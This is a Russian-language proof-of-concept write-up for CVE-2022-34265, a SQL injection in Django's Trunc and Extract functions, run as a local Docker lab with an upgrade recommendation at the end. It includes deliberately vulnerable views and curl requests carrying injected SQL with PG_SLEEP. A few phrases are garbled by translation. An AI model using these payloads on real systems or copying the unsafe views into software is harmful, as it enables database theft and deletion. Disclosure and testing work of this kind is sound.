
PoC для CVE-2022-34265 (Django)
запуск
docker-compose build
docker-compose up -d
остановка
docker-compose down
Уязвимость (CVE-2022-34265) в Django была раскрыта 5 июля 2022 года (время США). В этой статье описывается наше обсуждение этой уязвимости и результаты её проверки.
Эта уязвимость связана с некорректной обработкой строк при выполнении SQL для аргументов функций Trunc и Extract, используемых для работы с датами в Django. При передаче параметров запроса как есть в аргумент kind функции Trunc или аргумент функции существует риск выполнения произвольных SQL минут.
Используя эту уязвимость, третье лицо может отправлять команды в базу данных для получения несанкционированного доступа к данным или удаления базы данных.
lookup_nameExtractМногие из уязвимостей, обнаруженных в Django в прошлом, были SQL-инъекциями, и мы задались вопросом, существуют ли другие уязвимости, подобные CVE-2020-7471, поэтому мы поочерёдно проверили аргументы функций базы данных и нашли аргументы, которые не были обезврежены. Takuto Yoshikai (автор) сообщил об этом в IPA и команде разработчиков Django.
В результате в релизе, исправляющем CVE-2022-34265, были предприняты следующие действия:
vuln/models.py
Мы использовали пример из документации Django — модель для таблицы, фиксирующей время начала и окончания события.
from django.db import models
class Experiment(models.Model):
start_datetime = models.DateTimeField()
start_date = models.DateField(null=True, blank=True)
start_time = models.TimeField(null=True, blank=True)
end_datetime = models.DateTimeField(null=True, blank=True)
end_date = models.DateField(null=True, blank=True)
end_time = models.TimeField(null=True, blank=True)
vuln/views.py
from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers
# /extract/?lookup_name=xxx
def vuln_extract(request):
payload = request.GET.get('lookup_name')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# /trunc/?kind=xxx
def vuln_trunc(request):
payload = request.GET.get('kind')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
Это фильтрует номера года в столбце start_datetime таблицы Experiment, которые совпадают с годом, месяцем, днём, часом, минутой, секундой и т.д. поля end_datetime. Отсюда может быть запущена уязвимость SQL-инъекции.
# Trunc
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
Функция Trunc используется для усечения определённых частей даты и времени (год, месяц, день, час, минута, секунда и т.д.). В приведённом выше примере start_datetime и start_datetime с усечённой частью payload совпадают. Отсюда может быть запущена уязвимость SQL-инъекции.
Для проверки успешности атаки используется инструкция PG_SLEEP, чтобы увидеть, есть ли задержка во времени возврата ответа.
# Обычный URL
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"
# URL, в котором можно выполнить инструкцию базы данных
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
Я указал 5 секунд в PG_SLEEP, но, похоже, PG_SLEEP(5) занимает несколько секунд. По-видимому, в зависимости от реализации и ситуации он вызывается в течение нескольких секунд. Поскольку можно выполнять произвольные SQL-выражения, возможны опасные атаки, такие как удаление базы данных.
В результате нашего обсуждения и проверки мы пришли к выводу, что существует вероятность успешной атаки в зависимости от реализации. Мы рекомендуем обновить систему как можно скорее, чтобы избежать риска DROP TABLE в худшем случае.